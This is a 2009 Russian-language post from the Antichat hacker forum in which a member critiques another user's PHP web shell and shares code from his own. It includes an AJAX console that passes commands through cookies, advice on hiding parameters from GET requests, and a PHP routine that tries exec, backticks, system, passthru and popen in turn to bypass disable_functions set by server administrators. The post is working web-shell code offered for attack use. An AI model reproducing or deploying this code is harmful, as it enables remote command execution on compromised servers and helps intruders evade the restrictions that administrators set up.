Показать сообщение отдельно

  #4  
Старый 31.08.2009, 04:19
BlackSun
Познавший АНТИЧАТ
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме:
10046345

Репутация: 4589


По умолчанию

Нужна критика? Учитывая те наработки, что на данный момент есть, написать нормальный, конкурентно способный, шелл вам не светит.

Все же поясню, во первых ваша аяксовая консоль - говно, можете сравнить с моей наработкой, аналогично находится в зачатке, только начал писать:

1. Раз начали делать аяксовую консоль, то и доведите дело до конца - она должна создавать впечатление работы в нормальной консоли. Краткий пример на моем скриншоте.
2. Используете json. Накой хрен? можной обойтись и простым XMLHttpRequest. Например (вырезка с моего шелла):
Код:
		function setcookie(name, value) {
			document.cookie = name + "=" + value +"; path=/; expires=Mon, 01-Jan-2090 00:00:00 GMT";
		}
		function unsetcookie(name) {
			document.cookie = name + "=; path=/; expires=Mon, 01-Jan-2000 00:00:00 GMT";
		}
// .............................
		function bashReport(httpRequest){
			if (httpRequest.readyState == 4) {
				if (httpRequest.status == 200) {
					var responseText = httpRequest.responseText;
					// ну и тд ..
				}
			}
		}
			
		function getResult(cmd){
			var httpRequest = false;

			if (window.XMLHttpRequest) {
				httpRequest = new XMLHttpRequest();
				if (httpRequest.overrideMimeType) {
					httpRequest.overrideMimeType('text/xml');
				}
			} else if (window.ActiveXObject){
				try{
					httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
				} catch (e) {
					try {
						httpRequest = new ActiveXObject("Microsoft.XMLHTTP");
					} catch (e) {}
				}
			}
			
			httpRequest.onreadystatechange = function() { bashReport(httpRequest); };
			httpRequest.open('GET', window.location.href, true);
			setcookie('module', 'console');
			setcookie('cwd', escape(cwd));
			setcookie('command', escape(cmd));
			httpRequest.send(null);
		}
3. Подгружаете кучу сторонних js библиотек, накой хрен? шелл хоть и должен выглядеть прилично, но главное он должен быть быстрым и юзабельным.
4. Параметры в GET - забудьте про GET совсем. POST еще сойдет, но я бы порекомендовал передавать все параметры через куки и просто обновлять страницу
Код:
		function nav(module, sub, param) {
			setcookie('module', module);
			setcookie('sub', sub);
			setcookie('param', param);
			window.location.reload();
		}
5. Всюду shell_exec, это совсем не катит, он может быть и вырублен на сервере, используйте проверки, например:
PHP код:
    $disablefuncs = array();
    function 
myshellexec($cmd) {
        global 
$disablefuncs;
        
        if (empty(
$cmd)) {
            return 
'';
        }
        
$result '';

        if (
is_callable('exec') and !in_array('exec'$disablefuncs)) {
            
exec($cmd$result);
            
$result join("\n"$result);
        } elseif ((
$result = `$cmd`) !== FALSE) {
            
        } elseif (
is_callable('system') and !in_array('system')) {
            
ob_start();
            
system($cmd);
            
$result ob_get_contents();
            
ob_clean();
        } elseif (
is_callable('passthru') and !in_array('passthru'$disablefuncs)) {
            
ob_start();
            
passthru($cmd);
            
$result ob_get_contents();
            
ob_clean();
        } elseif (
is_resource($fp popen($cmd,"r"))) {
            while(!
feof($fp)) {
                
$result .= fread($fp1024);
            }
            
pclose($fp);
        } else  {
            
$result 'Shit. Can\'t execute command - paranoidal admin[s] has been disabled many functions!';
        }
        return 
$result;
    }

    if (
is_callable('ini_get')) {
        
$disablefuncs ini_get("disable_functions");
        if (!empty(
$disablefuncs)) {
            
$disablefuncs str_replace(' '''$disablefuncs);
            
$disablefuncs explode(','$disablefuncs);
        } else  {
            
$disablefuncs = array();
        }
    } 
6. Аналогично забудьте о сессиях, вполне хватит кук.

Пока все, может еще дополню.

Последний раз редактировалось BlackSun; 31.08.2009 в 04:40..
 
Ответить с цитированием